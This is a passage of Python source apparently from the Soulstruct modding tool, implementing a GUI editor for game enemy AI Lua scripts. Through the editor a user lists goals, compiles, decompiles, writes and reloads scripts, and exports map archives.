ENTRY_TEXT_FG = \"#FFF\"\n\n # noinspection PyMissingConstructor\n def __init__(self, editor: AIEditor, row_index: int, main_bindings: dict = None):\n self.master = editor\n self.STYLE_DEFAULTS = editor.STYLE_DEFAULTS\n\n self.row_index = row_index\n self._entry_id = None\n self._entry_text = None\n self._active = False\n self._goal_type = \"battle\"\n\n bg_color = self._get_color()\n\n self.row_box = editor.Frame(\n width=self.ENTRY_TYPE_WIDTH + self.ENTRY_ID_WIDTH + self.ENTRY_TEXT_WIDTH,\n height=self.ENTRY_ROW_HEIGHT,\n bg=bg_color,\n row=row_index,\n columnspan=3,\n sticky=\"nsew\",\n )\n bind_events(self.row_box, main_bindings)\n\n self.type_box = editor.Frame(row=row_index, column=0, bg=bg_color, sticky=\"ew\")\n self.type_label = editor.Label(\n self.type_box,\n text=\"B\",\n width=self.ENTRY_TYPE_WIDTH,\n bg=bg_color,\n fg=\"#F33\",\n font_size=11,\n sticky=\"ew\",\n tooltip_text=\"Type of goal: battle (B), logic (L), or neither (N). Left or right click to cycle \"\n \"between types.\",\n )\n type_bindings = main_bindings.copy()\n type_bindings[\"\"] = lambda _, i=row_index: self.master.set_goal_type(i)\n type_bindings[\"\"] = lambda _, i=row_index: self.master.set_goal_type(i, reverse=True)\n bind_events(self.type_box, type_bindings)\n bind_events(self.type_label, type_bindings)\n\n self.id_box = editor.Frame(row=row_index, column=1, bg=bg_color, sticky=\"ew\")\n self.id_label = editor.Label(\n self.id_box,\n text=\"\",\n width=self.ENTRY_ID_WIDTH,\n bg=bg_color,\n fg=self.ENTRY_ID_FG,\n font_size=11,\n sticky=\"e\",\n )\n id_bindings = main_bindings.copy()\n id_bindings[\"\"] = lambda _, i=row_index: self.master.select_entry_row_index(i, id_clicked=True)\n # id_bindings[\"\"] = lambda _, i=row_index: self.master.popout_entry_id_edit(i)\n bind_events(self.id_box, id_bindings)\n bind_events(self.id_label, id_bindings)\n\n self.text_box = editor.Frame(row=row_index, column=2, bg=bg_color, sticky=\"ew\")\n bind_events(self.text_box, main_bindings)\n\n self.text_label = editor.Label(\n self.text_box,\n text=\"\",\n bg=bg_color,\n fg=self.ENTRY_TEXT_FG,\n anchor=\"w\",\n font_size=11,\n justify=\"left\",\n width=self.ENTRY_TEXT_WIDTH,\n )\n bind_events(self.text_label, main_bindings)\n\n self.context_menu = editor.Menu(self.row_box)\n\n self.tool_tip = None\n\n def update_entry(self, entry_id: int, entry_text: str, goal_type=None):\n self.entry_id = entry_id\n self.entry_text = entry_text\n if goal_type is None:\n raise ValueError(\"Logic state cannot be None (suggests design problem).\")\n self.goal_type = goal_type\n self._update_colors()\n self.build_entry_context_menu()\n\n def hide(self):\n \"\"\"Called when this row has no entry to display.\"\"\"\n self.row_box.grid_remove()\n self.type_box.grid_remove()\n self.type_label.grid_remove()\n self.id_box.grid_remove()\n self.id_label.grid_remove()\n self.text_box.grid_remove()\n self.text_label.grid_remove()\n\n def unhide(self):\n self.row_box.grid()\n self.type_box.grid()\n self.type_label.grid()\n self.id_box.grid()\n self.id_label.grid()\n self.text_box.grid()\n self.text_label.grid()\n\n def build_entry_context_menu(self):\n self.context_menu.delete(0, \"end\")\n self.context_menu.add_command(\n label=\"Duplicate Entry to Next ID\",\n command=lambda: self.master.add_relative_entry(self.entry_id, goal_type=self.goal_type, offset=1),\n )\n self.context_menu.add_command(\n label=\"Delete Entry\",\n command=lambda: self.master.delete_entry(self.row_index),\n )\n\n @property\n def _colored_widgets(self):\n return (\n self.row_box, self.id_box, self.id_label, self.text_box, self.text_label, self.type_box, self.type_label\n )\n\n @property\n def goal_type(self):\n return self._goal_type\n\n @goal_type.setter\n def goal_type(self, goal_type: str):\n if goal_type != self._goal_type:\n if goal_type == \"battle\":\n self.type_label.var.set(\"B\")\n self.type_label[\"fg\"] = \"#F33\"\n elif goal_type == \"logic\":\n self.type_label.var.set(\"L\")\n self.type_label[\"fg\"] = \"#3F3\"\n elif goal_type == \"neither\":\n self.type_label.var.set(\"N\")\n self.type_label[\"fg\"] = \"#FFF\"\n else:\n raise ValueError(f\"Invalid goal type: {goal_type}\")\n self._goal_type = goal_type\n\n\nclass AIEditor(BaseEditor):\n DATA_NAME = \"AI\"\n TAB_NAME = \"ai\"\n CATEGORY_BOX_WIDTH = 0\n ENTRY_BOX_WIDTH = 150\n ENTRY_BOX_HEIGHT = 400\n ENTRY_RANGE_SIZE = 200\n\n _LUA_COMPILE_ERROR_RE = re.compile(r\".*\\\\temp:(\\d+): (.*)\", flags=re.DOTALL)\n\n ENTRY_ROW_CLASS = AIEntryRow\n entry_rows: List[AIEntryRow]\n\n def __init__(\n self,\n project,\n script_directory,\n export_directory,\n allow_decompile,\n global_map_choice_func,\n linker,\n text_font_size=10,\n master=None,\n toplevel=False,\n ):\n self.script_directory = Path(script_directory)\n self.global_map_choice_func = global_map_choice_func\n self.text_font_size = text_font_size\n self.export_directory = Path(export_directory)\n self.allow_decompile = allow_decompile\n self.selected_map_id = \"\"\n\n self.map_choice = None\n self.decompile_all_button = None\n self.write_all_button = None\n self.line_number = None\n self.go_to_line = None\n self.string_to_find = None\n self.script_editor_canvas = None\n self.script_editor = None # type: Optional[AIScriptTextEditor]\n self.confirm_button = None\n self.compile_button = None\n self.decompile_button = None\n self.write_button = None\n self.reload_button = None\n super().__init__(project, linker, master=master, toplevel=toplevel, window_title=\"Soulstruct AI Script Editor\")\n\n @property\n def ai(self) -> AIDirectory:\n return self._project.ai\n\n def refresh_categories(self):\n return\n\n def build(self):\n with self.set_master(sticky=\"nsew\", row_weights=[0, 1], column_weights=[1], auto_rows=0):\n with self.set_master(pady=10, sticky=\"w\", row_weights=[1], column_weights=[1, 1, 1, 1, 1], auto_columns=0):\n map_names = [f\"{game_map.ai_file_stem} [{game_map.verbose_name}]\" for game_map in self.ai.ALL_MAPS]\n self.map_choice = self.Combobox(\n values=map_names,\n label=\"Map:\",\n label_font_size=12,\n label_position=\"left\",\n width=35,\n font=(\"Segoe UI\", 12),\n on_select_function=self.on_map_choice,\n sticky=\"w\",\n padx=(10, 30),\n )\n self.selected_map_id = self.map_choice_id\n self.decompile_all_button = self.Button(\n text=\"Decompile All\" if self.allow_decompile else \"Cannot Decompile\",\n font_size=10,\n bg=\"#622\",\n width=20,\n padx=10,\n command=self.decompile_all,\n state=\"normal\" if self.allow_decompile else \"disabled\",\n )\n self.write_all_button = self.Button(\n text=\"Write All in Map\", font_size=10, bg=\"#222\", width=20, padx=10, command=self.write_all\n )\n self.Button(\n text=\"Reload All in Map\",\n font_size=10,\n bg=\"#222\",\n width=20,\n padx=10,\n command=self.load_all_from_project_folder,\n )\n self.Button(\n text=\"Export This Map\",\n font_size=10,\n bg=\"#222\",\n width=20,\n padx=10,\n command=self.export_selected_map,\n )\n\n with self.set_master(sticky=\"nsew\", row_weights=[1], column_weights=[1, 2], auto_columns=0):\n with self.set_master(sticky=\"nsew\", row_weights=[1], column_weights=[1]):\n self.build_entry_frame()\n with self.set_master(\n sticky=\"nsew\", row_weights=[0, 1, 0, 0], column_weights=[1], padx=50, pady=10, auto_rows=0\n ):\n with self.set_master(sticky=\"nsew\", column_weights=[1, 1, 1], auto_columns=0, pady=5):\n self.line_number = self.Label(\n text=\"Line: None\", padx=10, width=10, fg=\"#CCF\", anchor=\"w\", sticky=\"w\"\n ).var\n self.go_to_line = self.Entry(label=\"Go to Line:\", padx=5, width=6, sticky=\"w\")\n self.go_to_line.bind(\"\", self._go_to_line)\n self.string_to_find = self.Entry(label=\"Find Text:\", padx=5, width=20, sticky=\"w\")\n self.string_to_find.bind(\"\", self._find_string)\n with self.set_master(sticky=\"nsew\", row_weights=[1], column_weights=[1, 0]):\n self.build_script_editor()\n with self.set_master(\n sticky=\"nsew\", row_weights=[1], column_weights=[1, 1, 1], pady=10, auto_columns=0\n ):\n self.confirm_button = self.Button(\n text=\"Confirm Changes\",\n font_size=10,\n bg=\"#222\",\n width=20,\n padx=5,\n command=self.confirm_selected,\n state=\"disabled\",\n sticky=\"e\",\n tooltip_text=\"Confirm changes to selected script and re-color syntax. Does not save \"\n \"project AI files if clicked, but the project 'Save' function (Ctrl + S) \"\n \"will always confirm changes first.\",\n )\n self.compile_button = self.Button(\n text=\"Compile\",\n font_size=10,\n bg=\"#222\",\n width=20,\n padx=5,\n command=self.compile_selected,\n state=\"disabled\",\n tooltip_text=\"Compile script and re-color syntax. Not necessary for exporting, but useful \"\n \"to ensure that Lua syntax is valid. (Ctrl + Shift + C)\",\n )\n self.decompile_button = self.Button(\n text=\"Decompile\",\n font_size=10,\n bg=\"#822\",\n width=20,\n padx=5,\n command=self.decompile_selected,\n state=\"disabled\",\n sticky=\"w\",\n )\n with self.set_master(sticky=\"nsew\", row_weights=[1], column_weights=[1, 1], pady=5, auto_columns=0):\n self.write_button = self.Button(\n text=\"Write to Project\",\n font_size=10,\n bg=\"#222\",\n width=20,\n padx=5,\n command=self.write_selected,\n state=\"disabled\",\n sticky=\"e\",\n tooltip_text=\"Write script to 'ai_scripts' folder in your project directory, where it can \"\n \"be edited by other text editors or Lua-friendly IDEs and reloaded here. \"\n \"(Ctrl + W)\",\n )\n self.reload_button = self.Button(\n text=\"Reload from Project\",\n font_size=10,\n bg=\"#222\",\n width=20,\n padx=5,\n command=self.reload_selected,\n sticky=\"w\",\n tooltip_text=\"Reload script from 'ai_scripts' folder in your project directory. If there \"\n \"are unconfirmed changes in the current script, you will be asked to confirm \"\n \"their loss first. (Ctrl + R)\",\n )\n\n self.bind_to_all_children(\"\", lambda _: self.compile_selected(mimic_click=True))\n self.bind_to_all_children(\"\", lambda _: self.write_selected(mimic_click=True))\n self.bind_to_all_children(\"\", lambda _: self.reload_selected(mimic_click=True))\n\n def build_script_editor(self):\n self.script_editor_canvas = self.Canvas(\n horizontal_scrollbar=True,\n sticky=\"nsew\",\n bg=\"#232323\",\n borderwidth=0,\n highlightthickness=0,\n row=0,\n column=0,\n row_weights=[1],\n column_weights=[1],\n )\n editor_i_frame = self.Frame(self.script_editor_canvas, row_weights=[1], column_weights=[1])\n self.script_editor_canvas.create_window(0, 0, window=editor_i_frame, anchor=\"nw\")\n editor_i_frame.bind(\"\", lambda e, c=self.script_editor_canvas: self.reset_canvas_scroll_region(c))\n\n self.script_editor = self.CustomWidget(\n editor_i_frame,\n custom_widget_class=AIScriptTextEditor,\n set_style_defaults=(\"text\", \"cursor\"),\n row=0,\n state=\"disabled\",\n width=400,\n height=50,\n wrap=\"word\",\n bg=\"#232323\",\n font=(\"Consolas\", self.text_font_size),\n )\n vertical_scrollbar_w = self.Scrollbar(\n orient=\"vertical\", command=self.script_editor.yview, row=0, column=1, sticky=\"ns\"\n )\n self.script_editor.config(bd=0, yscrollcommand=vertical_scrollbar_w.set)\n self.link_to_scrollable(self.script_editor, editor_i_frame)\n\n def _update_textbox_height(e):\n font_size = int(self.script_editor[\"font\"].split()[1])\n self.script_editor[\"height\"] = e.height // (font_size * 1.5) # 1.5 line spacing\n\n self.script_editor_canvas.bind(\"\", lambda e: _update_textbox_height(e))\n\n self.script_editor.bind(\"<>\", self._update_line_number)\n self.script_editor.bind(\"\", self._control_f_search)\n\n def _go_to_line(self, _):\n number = self.go_to_line.var.get()\n if not number:\n return\n number = int(number)\n if not self.get_selected_bnd() or number < 1 or int(self.script_editor.index(\"end-1c\").split(\".\")[0]) < number:\n self.flash_bg(self.go_to_line)\n return\n self.script_editor.mark_set(\"insert\", f\"{number}.0\")\n self.script_editor.see(f\"{number}.0\")\n self.script_editor.highlight_line(number, \"found\")\n\n def _find_string(self, _):\n string = self.string_to_find.var.get()\n if not string or not self.get_selected_bnd():\n return\n start_line, start_char = self.script_editor.index(\"insert\").split(\".\")\n index = self.script_editor.search(string, index=f\"{start_line}.{int(start_char) + 1}\")\n\n if index:\n self.clear_bg_tags()\n self.script_editor.mark_set(\"insert\", index)\n self.script_editor.see(index)\n index_line, index_char = index.split(\".\")\n self.script_editor.tag_add(\"found\", index, f\"{index_line}.{int(index_char) + len(string)}\")\n else:\n self.flash_bg(self.string_to_find)\n\n def clear_bg_tags(self):\n for tag in {\"found\", \"error\"}:\n self.script_editor.tag_remove(tag, \"1.0\", \"end\")\n\n def _update_line_number(self, _):\n current_line = self.script_editor.index(\"insert\").split(\".\")[0]\n self.line_number.set(f\"Line: {current_line}\")\n\n def _control_f_search(self, _):\n if self.get_selected_bnd():\n highlighted = self.script_editor.selection_get()\n self.string_to_find.var.set(highlighted)\n self.string_to_find.select_range(0, \"end\")\n self.string_to_find.icursor(\"end\")\n self.string_to_find.focus_force()\n\n def _highlight_error(self, lineno):\n self.script_editor.mark_set(\"insert\", f\"{lineno}.0\")\n self.script_editor.see(f\"{lineno}.0\")\n self.script_editor.highlight_line(lineno, \"error\")\n\n def _get_current_text(self):\n \"\"\"Get all current text from TextBox, minus final newline (added by Tk).\"\"\"\n return self.script_editor.get(1.0, \"end\")[:-1]\n\n def _ignored_unsaved(self):\n if self._get_current_text() != self.get_goal().script:\n if (\n self.CustomDialog(\n title=\"Lose Unsaved Changes?\",\n message=\"Current script has changed but not been saved. Lose changes?\",\n button_names=(\"Yes, lose changes\", \"No, stay here\"),\n button_kwargs=(\"YES\", \"NO\"),\n cancel_output=1,\n default_output=1,\n )\n == 1\n ):\n return False\n return True\n\n def set_goal_type(self, row_index=None, goal_type=None, reverse=False):\n if row_index is None:\n row_index = self.active_row_index\n goal = self.get_goal(row_index)\n old_type = goal.goal_type\n if goal_type is None:\n if old_type == goal.BATTLE_TYPE:\n goal_type = goal.NEITHER_TYPE if reverse else goal.LOGIC_TYPE\n elif old_type == goal.LOGIC_TYPE:\n goal_type = goal.BATTLE_TYPE if reverse else goal.NEITHER_TYPE\n elif old_type == goal.NEITHER_TYPE:\n goal_type = goal.LOGIC_TYPE if reverse else goal.BATTLE_TYPE\n elif old_type == goal_type:\n return False\n if (goal.goal_id, goal_type) in self.get_category_data():\n self.CustomDialog(\n title=\"Script Type Error\", message=f\"A {repr(goal_type)} goal already exists with ID {goal.goal_id}.\"\n )\n return False\n try:\n goal.goal_type = goal_type\n except LuaError:\n if goal_type != \"logic\":\n raise\n if (\n self.CustomDialog(\n title=\"Lose Unsaved Changes?\",\n message=f\"Logic goal name must end in '_Logic'. Add suffix to name?\",\n button_names=(\"Yes, change name\", \"No, do nothing\"),\n button_kwargs=(\"YES\", \"NO\"),\n return_output=0,\n cancel_output=1,\n default_output=1,\n )\n == 1\n ):\n return False\n else:\n goal.set_name_and_type(goal.goal_name + \"_Logic\", \"logic\")\n self.entry_rows[row_index].entry_text = goal.goal_name\n\n self.entry_rows[row_index].goal_type = goal_type\n return True\n\n def _parse_compile_error(self, error_msg):\n error_msg = error_msg.replace(\"\\n\", \" \")\n match = self._LUA_COMPILE_ERROR_RE.match(error_msg)\n if match:\n self._highlight_error(int(match.group(1)))\n error_msg = match.group(2)\n return f\"Line {match.group(1)}: {error_msg}\"\n return error_msg\n\n def decompile_all(self):\n if (\n self.CustomDialog(\n title=\"Confirm Bulk Decompile\",\n message=\"This will overwrite any decompiled scripts in your project's current state. Continue?\",\n button_names=(\"Yes, continue\", \"No, go back\"),\n button_kwargs=(\"YES\", \"NO\"),\n cancel_output=1,\n default_output=1,\n )\n == 1\n ):\n return\n self.decompile_all_button[\"state\"] = \"disabled\"\n self.decompile_all_button.var.set(\"Decompiling...\")\n self.update_idletasks()\n failed_goals = []\n for goal in self.get_selected_bnd().goals:\n if not goal.bytecode:\n continue\n try:\n goal.decompile()\n except LuaError as e:\n failed_goals.append(goal)\n if (\n self.CustomDialog(\n title=\"Lua Decompile Error\",\n message=f\"Error encountered while decompiling script:\\n\\n{str(e)}\"\n f\"\\n\\nContinue to next goal, or abort all remaining goals?\",\n button_names=(\"Continue to next goal\", \"Abort remaining\"),\n button_kwargs=(\"YES\", \"NO\" \"\"),\n cancel_output=0,\n default_output=0,\n return_output=0,\n )\n == 1\n ):\n return\n failed_goals_msg = \"\\n\".join(f\"{g.goal_id}: {g.goal_name} ({g.goal_type}\" for g in failed_goals)\n if failed_goals_msg:\n self.CustomDialog(\n title=\"Lua Decompile Complete\",\n message=f\"All scripts have been decompiled except:\\n\\n{failed_goals_msg}\",\n cancel_output=0,\n default_output=0,\n return_output=0,\n )\n else:\n self.CustomDialog(title=\"Lua Decompile Complete\", message=f\"All scripts were decompiled successfully.\")\n self.decompile_all_button[\"state\"] = \"normal\"\n self.decompile_all_button.var.set(\"Decompile All\")\n if self.active_row_index is not None:\n self.update_script_text()\n\n def write_all(self):\n if (\n self.CustomDialog(\n title=\"Confirm Bulk Write\",\n message=f\"This will overwrite any decompiled script files saved in \"\n f\"'/ai_scripts/{self.selected_map_id}'.\\n\\nContinue?\",\n button_names=(\"Yes, continue\", \"No, go back\"),\n button_kwargs=(\"YES\", \"NO\"),\n cancel_output=1,\n default_output=1,\n )\n == 1\n ):\n return\n self.write_all_button[\"state\"] = \"disabled\"\n self.write_all_button.var.set(\"Writing...\")\n self.update_idletasks()\n for goal in self.get_selected_bnd().goals:\n if not goal.script:\n continue\n try:\n goal.write_decompiled(self.script_directory / f\"{self.selected_map_id}/{goal.script_name}\")\n except LuaError as e:\n if (\n self.CustomDialog(\n title=\"Lua Write Error\",\n message=f\"Error encountered while writing script for goal {goal.id}: {goal.goal_name} \"\n f\"({goal.goal_type}):\\n\\n{str(e)}\"\n f\"\\n\\nContinue to next goal, or abort all remaining goals?\",\n button_names=(\"Continue to next goal\", \"Abort remaining\"),\n button_kwargs=(\"YES\", \"NO\" \"\"),\n return_output=0,\n cancel_output=1,\n default_output=0,\n )\n == 1\n ):\n return\n self.write_all_button[\"state\"] = \"normal\"\n self.write_all_button.var.set(\"Write All\")\n\n def export_selected_map(self):\n luabnd = self.get_selected_bnd()\n luabnd_path = self.export_directory / luabnd.bnd.path.name\n luabnd.write(luabnd_path)\n\n def load_all_from_project_folder(self, confirm=True):\n if confirm and (\n self.CustomDialog(\n title=\"Confirm Lua Operation\",\n message=f\"This will overwrite any decompiled script in the current project state\\n\"\n f\"that has a file in '/ai_scripts/{self.selected_map_id}'.\\n\\nContinue?\",\n button_names=(\"Yes, continue\", \"No, go back\"),\n button_kwargs=(\"YES\", \"NO\"),\n return_output=0,\n cancel_output=1,\n default_output=0,\n )\n == 1\n ):\n return\n failed_goals = []\n for goal in self.get_selected_bnd().goals:\n lua_path = self.script_directory / f\"{self.selected_map_id}/{goal.script_name}\"\n if not lua_path.is_file():\n continue\n try:\n goal.load_decompiled(lua_path)\n except Exception as e:\n failed_goals.append(goal)\n if (\n self.CustomDialog(\n title=\"Lua Read Error\",\n message=f\"Error encountered while reading script for goal {goal.id}: {goal.goal_name} \"\n f\"({goal.goal_type}):\\n\\n{str(e)}\"\n f\"\\n\\nContinue to next goal, or abort all remaining goals?\",\n button_names=(\"Continue to next goal\", \"Abort remaining\"),\n button_kwargs=(\"YES\", \"NO\"),\n return_output=0,\n cancel_output=1,\n default_output=1,\n )\n == 1\n ):\n return\n failed_goals_msg = \"\\n\".join(f\"{g.goal_id}: {g.goal_name} ({g.goal_type}\" for g in failed_goals)\n if failed_goals_msg:\n self.CustomDialog(\n title=\"Lua Load Complete\",\n message=f\"All scripts have been loaded from '/ai_scripts/{self.selected_map_id}' \"\n f\"except:\\n\\n{failed_goals_msg}\",\n )\n else:\n self.CustomDialog(title=\"Lua Load Successful\", message=\"All scripts were loaded successfully.\")\n if self.active_row_index is not None:\n self.update_script_text()\n\n def confirm_selected(self, mimic_click=False, flash_bg=True):\n \"\"\"Confirms changes to the selected script in its goal instance. Also re-colors syntax.\"\"\"\n if self.confirm_button[\"state\"] == \"normal\" and self.active_row_index is not None:\n if mimic_click:\n self.mimic_click(self.confirm_button)\n current_text = self._get_current_text()\n if current_text:\n goal = self.get_goal()\n goal.script = current_text\n self.script_editor.color_syntax()\n if flash_bg:\n self.flash_bg(self.script_editor, \"#232\")\n\n def compile_selected(self, mimic_click=False):\n \"\"\"Compile script, which is not necessary but can be used to test validity. Confirms changes first.\"\"\"\n if self.compile_button[\"state\"] == \"normal\" and self.active_row_index is not None:\n self.confirm_selected(mimic_click=True, flash_bg=False)\n if mimic_click:\n self.mimic_click(self.compile_button)\n goal = self.get_goal()\n goal.script = self._get_current_text()\n try:\n goal.compile(x64=not self.get_selected_bnd().is_lua_32)\n if self.allow_decompile:\n self.decompile_button[\"state\"] = \"normal\"\n self.script_editor.tag_remove(\"error\", \"1.0\", \"end\")\n self.flash_bg(self.script_editor, \"#223\")\n except LuaError as e:\n msg = self._parse_compile_error(str(e))\n self.CustomDialog(\n title=\"Lua Compile Error\",\n message=f\"Error encountered while compiling script for goal {goal.goal_id}: \"\n f\"{goal.goal_name} ({repr(goal.goal_type)}):\\n\\n{msg}\",\n )\n\n def decompile_selected(self, mimic_click=False):\n \"\"\"Decompile script from compiled bytecode. Always confirms loss of existing decompiled script first.\"\"\"\n if self.decompile_button[\"state\"] == \"normal\" and self.active_row_index is not None:\n if mimic_click:\n self.mimic_click(self.decompile_button)\n goal = self.get_goal()\n if goal.script:\n if (\n self.CustomDialog(\n title=\"Overwrite Script?\",\n message=\"Overwrite existing decompiled script?\",\n button_names=(\"Yes, overwrite\", \"No, do nothing\"),\n button_kwargs=(\"YES\", \"NO\"),\n return_output=0,\n cancel_output=1,\n default_output=1,\n )\n == 1\n ):\n return\n try:\n goal.decompile()\n self.confirm_button[\"state\"] = \"normal\"\n self.compile_button[\"state\"] = \"normal\"\n self.write_button[\"state\"] = \"normal\"\n self.update_script_text(goal)\n except LuaError as e:\n self.CustomDialog(\n title=\"Lua Decompile Error\", message=f\"Error encountered while decompiling script:\\n\\n{str(e)}\"\n )\n\n def write_selected(self, mimic_click=False):\n \"\"\"Write selected script to project directory. Confirms changes first.\"\"\"\n if self.write_button[\"state\"] == \"normal\" and self.active_row_index is not None:\n self.confirm_selected(mimic_click=True)\n if mimic_click:\n self.mimic_click(self.write_button)\n goal = self.get_goal()\n try:\n goal.write_decompiled(self.script_directory / f\"{self.selected_map_id}/{goal.script_name}\")\n except LuaError as e:\n self.CustomDialog(\n title=\"Lua Write Error\", message=f\"Error encountered while writing script:\\n\\n{str(e)}\"\n )\n\n def reload_selected(self, mimic_click=False):\n \"\"\"Reload selected script from project directory. Confirms loss of unsaved changes first.\"\"\"\n if self.reload_button[\"state\"] == \"normal\" and self.active_row_index is not None:\n if mimic_click:\n self.mimic_click(self.reload_button)\n if not self._ignored_unsaved():\n return\n goal = self.get_goal()\n try:\n goal.load_decompiled(self.script_directory / f\"{self.selected_map_id}/{goal.script_name}\")\n self.update_script_text(goal)\n except FileNotFoundError:\n self.CustomDialog(\n title=\"Lua Read Error\",\n message=f\"Decompiled script not found in '/ai_scripts/{self.selected_map_id}' directory.\",\n )\n\n def refresh_entries(self):\n self._cancel_entry_id_edit()\n self._cancel_entry_text_edit()\n\n entries_to_display = self._get_category_name_range(\n first_index=self.first_display_index, last_index=self.first_display_index + self.ENTRY_RANGE_SIZE,\n )\n\n row = 0\n luabnd = self.get_selected_bnd()\n for entry_id, goal_type in entries_to_display:\n goal = luabnd.get_goal(entry_id, goal_type)\n self.entry_rows[row].update_entry(entry_id, goal.goal_name, goal.goal_type)\n self.entry_rows[row].unhide()\n row += 1\n\n self.displayed_entry_count = row\n for remaining_row in range(row, len(self.entry_rows)):\n self.entry_rows[remaining_row].hide()\n\n self.entry_i_frame.columnconfigure(0, weight=1)\n self.entry_i_frame.columnconfigure(1, weight=1)\n if self.displayed_entry_count == 0:\n self.select_entry_row_index(None)\n self._refresh_range_buttons()\n\n def select_entry_id(self, entry_id, goal_type=None, set_focus_to_text=True, edit_if_already_selected=True):\n \"\"\"Select entry based on ID and set the category display range to target_row_index rows before it.\"\"\"\n entry_index = self.get_entry_index(entry_id, goal_type=goal_type)\n self.refresh_entries()\n self.select_entry_row_index(\n entry_index, set_focus_to_text=set_focus_to_text, edit_if_already_selected=edit_if_already_selected\n )\n\n def select_entry_row_index(\n self, row_index, set_focus_to_text=True, edit_if_already_selected=True, id_clicked=False, check_unsaved=True\n ):\n \"\"\"Select entry from row index, based on currently displayed category and ID range.\"\"\"\n old_row_index = self.active_row_index\n\n if check_unsaved and old_row_index != row_index and old_row_index is not None:\n if not self._ignored_unsaved():\n return\n\n if old_row_index is not None and row_index is not None:\n if row_index == old_row_index:\n if edit_if_already_selected:\n if id_clicked:\n return self._start_entry_id_edit(row_index)\n else:\n return self._start_entry_text_edit(row_index)\n return\n else:\n self._cancel_entry_id_edit()\n self._cancel_entry_text_edit()\n\n self.active_row_index = row_index\n\n if old_row_index is not None:\n self.entry_rows[old_row_index].active = False\n if row_index is not None:\n self.entry_rows[row_index].active = True\n if set_focus_to_text:\n self.entry_rows[row_index].text_label.focus_set()\n self.script_editor[\"state\"] = \"normal\"\n goal = self.get_goal(row_index)\n if self.allow_decompile:\n self.decompile_button[\"state\"] = \"normal\" if goal.bytecode else \"disabled\"\n self.confirm_button[\"state\"] = \"normal\" if goal.script else \"disabled\"\n self.compile_button[\"state\"] = \"normal\" if goal.script else \"disabled\"\n self.write_button[\"state\"] = \"normal\" if goal.script else \"disabled\"\n self.reload_button[\"state\"] = \"normal\"\n self.update_script_text(goal)\n else:\n # No entry is selected.\n self.script_editor.delete(1.0, \"end\")\n self.script_editor[\"state\"] = \"disabled\"\n self.decompile_button[\"state\"] = \"disabled\"\n self.confirm_button[\"state\"] = \"disabled\"\n self.compile_button[\"state\"] = \"disabled\"\n self.write_button[\"state\"] = \"disabled\"\n self.reload_button[\"state\"] = \"disabled\"\n\n def update_script_text(self, goal=None):\n if goal is None:\n goal = self.get_goal()\n self.script_editor.delete(1.0, \"end\")\n self.script_editor.insert(1.0, goal.script)\n self.script_editor.mark_set(\"insert\", \"1.0\")\n self.script_editor.color_syntax()\n\n def get_goal_id_and_type(self, row_index=None):\n if row_index is None:\n row_index = self.active_row_index\n return self.entry_rows[row_index].entry_id, self.entry_rows[row_index].goal_type\n\n def get_goal(self, row_index=None):\n if row_index is None:\n row_index = self.active_row_index\n goal_id, goal_type = self.get_goal_id_and_type(row_index)\n return self.get_selected_bnd().get_goal(goal_id, goal_type)\n\n def on_map_choice(self, event=None):\n if self.active_row_index is not None and not self._ignored_unsaved():\n game_map = self.ai.GET_MAP(self.selected_map_id)\n self.map_choice.var.set(f\"{game_map.ai_file_stem} [{game_map.verbose_name}]\")\n return\n self.selected_map_id = self.map_choice_id\n if self.global_map_choice_func and event is not None:\n self.global_map_choice_func(self.map_choice_id, ignore_tabs=(\"ai\",))\n self.select_entry_row_index(None, check_unsaved=False)\n self.refresh_entries()\n self.entry_canvas.yview_moveto(0)\n\n def _add_entry(self, entry_id, text, goal_type=None, category=None, at_index=None, new_goal=None):\n if entry_id < 0:\n self.CustomDialog(title=\"Goal ID Error\", message=f\"Entry ID cannot be negative.\")\n return False\n if (entry_id, goal_type) in self.get_category_data():\n self.CustomDialog(\n title=\"Goal ID Error\", message=f\"Goal ID {entry_id} with type {repr(goal_type)} already exists.\"\n )\n return False\n\n new_goal.goal_id = entry_id\n new_goal.goal_type = goal_type\n self._cancel_entry_id_edit()\n self._cancel_entry_text_edit()\n if at_index:\n self.get_selected_bnd().goals.insert(at_index, new_goal)\n else:\n self.get_selected_bnd().goals.append(new_goal)\n\n self._set_entry_text(entry_id, text, goal_type)\n self.select_entry_id(entry_id, goal_type=goal_type, set_focus_to_text=True, edit_if_already_selected=False)\n\n def add_relative_entry(self, entry_id, goal_type=None, offset=1, text=None):\n goal = self.get_selected_bnd().get_goal(entry_id, goal_type)\n if text is None:\n text = goal.goal_name # Copies name of origin entry by default.\n goal_index = self.get_selected_bnd().goals.index(goal) + 1\n self._add_entry(\n entry_id=entry_id + offset, goal_type=goal_type, text=text, at_index=goal_index, new_goal=goal.copy()\n )\n\n def delete_entry(self, row_index, category=None):\n \"\"\"Deletes entry and returns it (or False upon failure) so that the action manager can undo the deletion.\"\"\"\n if row_index is None:\n self.bell()\n return\n\n self._cancel_entry_id_edit()\n self._cancel_entry_text_edit()\n goal = self.get_goal(row_index)\n self.get_selected_bnd().goals.remove(goal)\n self.select_entry_row_index(None, check_unsaved=False)\n self.refresh_entries()\n\n def get_selected_bnd(self) -> LuaBND:\n return self.ai[self.selected_map_id]\n\n def get_category_data(self, category=None) -> Dict[(int, bool), LuaGoal]:\n \"\"\"Gets dictionary of goals in LuaInfo from LuaBND. Category does nothing.\"\"\"\n return self.get_selected_bnd().get_goal_dict()\n\n def _get_category_name_range(self, category=None, first_index=None, last_index=None):\n \"\"\"Always returns full dict (no previous/next buttons).\"\"\"\n return list(self.get_selected_bnd().get_goal_dict().keys())\n\n def get_entry_index(self, entry_id: int, goal_type=None, category=None) -> int:\n \"\"\"Get index of entry. Ignores current display range.\"\"\"\n if goal_type is None:\n raise ValueError(f\"Goal type cannot be none (goal ID {entry_id}).\")\n if (entry_id, goal_type) not in self.get_category_data():\n raise ValueError(f\"Goal ID {entry_id} with type {repr(goal_type)} does not exist.\")\n goal = self.get_selected_bnd().get_goal(entry_id, goal_type)\n return self.get_selected_bnd().goals.index(goal)\n\n def get_entry_text(self, entry_id: int, category=None, goal_type=None) -> str:\n return self.get_selected_bnd().get_goal(entry_id, goal_type).goal_name\n\n def _set_entry_text(self, entry_id: int, text: str, goal_type=None, category=None, update_row_index=None):\n goal = self.get_selected_bnd().get_goal(entry_id, goal_type)\n try:\n goal.goal_name = text\n except LuaError as e:\n self.CustomDialog(title=\"Goal Name Error\", message=str(e))\n return False\n if update_row_index is not None:\n self.entry_rows[update_row_index].update_entry(entry_id, text, goal_type)\n return True\n\n def change_entry_text(self, row_index, new_text, category=None, record_action=True):\n \"\"\"Set text of given entry index in the displayed category (if different from 